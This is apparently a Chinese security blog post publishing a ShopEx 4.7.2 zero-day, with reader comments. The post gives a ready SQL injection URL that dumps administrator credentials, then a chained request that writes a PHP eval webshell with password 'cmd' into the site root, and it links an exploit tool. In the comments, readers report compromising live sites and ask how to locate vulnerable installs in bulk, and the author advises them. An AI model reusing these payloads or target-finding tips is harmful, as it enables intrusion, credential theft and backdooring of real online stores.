ShopEx 4.7.2 0day

# 鬼仔:感谢无名的投递。

作者:无名

我是无名,这次写一个shopex4.7.2漏洞,

已经通知了官方,今天就发出来,

首先syssite/shopadmin/order_service.php后台这个文件没有验证用户身份,

重要的是$v_id参数没有过滤

syssite/shopadmin/order_service.php?m_id=1&key=986078fbe1474d61464d08535f1002a8&&v_id=1+and+1=2+union+select+concat(username,0x20,userpass),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4+from+sdb_mall_offer_operater%23

直接获取管理员账号密码md5自己解,字段数不对用order by 猜,

有的站只能显示出来前14位,就用left(password,14) mid(password,15,4) right(password,14) 合起来就是完整的32位密码了

如果表名改了,mysql 5.0以上版本自己爆,相关内容不再叙述

登陆后台,接下来讲shell获取部分,(普通管理员一样利用)

分析根目录下htmlcache.php

分析代码的朋友注意了,

$url = base64_decode( $_GET['url'] );
$filename = base64_decode( $_GET['filename'] );
$signcode = $_GET['signcode'];
$verifycode = md5( $url.$filename."1e236443e5a30b09910e0d48c994b8e6" );
if ( $_cvar['seoCacheTime'] == "0" )
{
exit( );

}

变量 url  filename 提交的时候用base64 加密,

下面几句

if ( $_cvar['seoCacheTime'] == "0" )
{
exit( );
}
if ( substr( $filename, 0, 3 ) == "../" )
{
exit( );
}
if ( $verifycode != $signcode )
{
exit( );
}

$filename 不能有 ../

$verifycode 要等于$signcode

$_cvar[‘seoCacheTime’] 在syssite\home\shop\1\shop.cache.php有定义,默认是0

前面几个很容易就绕过去了,$_cvar[‘seoCacheTime’] 我在后台里一直没有找到在哪里设置,

分析代码发现,进入后台,直接在url后面输入syssite/shopadmin/admin_seo_act.php?act=savecachetime&seocachetime=60

设置seocachetime为60

好了,条件满足,开始获取shell

base64分别加密
http://你的url/test.txt 为$url变量,()
123.php         为$filename变量
$signcode是url+filename+1e236443e5a30b09910e0d48c994b8e6 的32位md5值

其实url完全不用获取test.txt内容的,有时候会获取不成功,
url直接写成http://www.baidu.com/<?php eval($_POST[cmd]);?> base64加密就行了

加密结果

url   aHR0cDovL3d3dy5iYWlkdS5jb20vPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=
filename MTIzLnBocA==
signcode 186350a50934cb17b9bc47f5e067adbe

最后提交

htmlcache.php?url=aHR0cDovL3d3dy5iYWlkdS5jb20vPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=&filename=MTIzLnBocA==&signcode=186350a50934cb17b9bc47f5e067adbe

直接在根目录生成123.php内容为一句话后门,密码cmd

喜欢分析代码的朋友如果有什么不明白的地方,或者有什么错误的地方,欢迎指正

联系团队
SD_无名     QQ 57112848
SD_′&廢.   QQ 5081558

这里只是技术讨论,任何利用本文章做破坏的,本人概不负责

最后附上一个半成品的利用工具

下载地址:shopex472_exp.rar

相关日志

楼被抢了 9 层了... 抢座Rss 2.0或者 Trackback

  • GG

    Database error,Session halted.
    大多数都是出现这个问题。获取不到密码

  • 无名

    这次不知道要有多少网站遭殃了……

    不知道官方会不会找我麻烦

    • Mark

      哈哈 能有什么麻烦 你已经提交给过它了 你也没拿他什么好处。

  • 无名

    Database error,Session halted.

    这个是数据库查询出错了,但是没爆错误代码,

    order by 查查字段数,

    或者是表不对,mysql5.0以上就爆表出来看,

    文章里面有写过的,

  • Mark

    貌似利用起来有点烦琐 想批量拿站有点难 三小时拿下了三个站点 均提不了权。

  • Mark

    对了 无名兄弟能给出修复方法最好了

  • Mark

    Warning: filemtime() [function.filemtime]: Stat failed for tty.php (errno=2 – No such file or directory) in /www/users/topate.com.cn/htmlcache.php on line 40

    后台提交一句马出现上面代码 很闹心,,貌似是主机设置了权限?

  • Spacehacker

    正在针对这个漏洞些工具…似乎挺麻烦的…
    有一个问题要问一下…就是用Google搜索关键字的时候搜索哪些关键字能较精确的定位在ShopEx和4.7.2的版本范围
    – -|||…头疼的路过…

  • 无名

    大范围搜索,然后判断根目录下version.txt

发表评论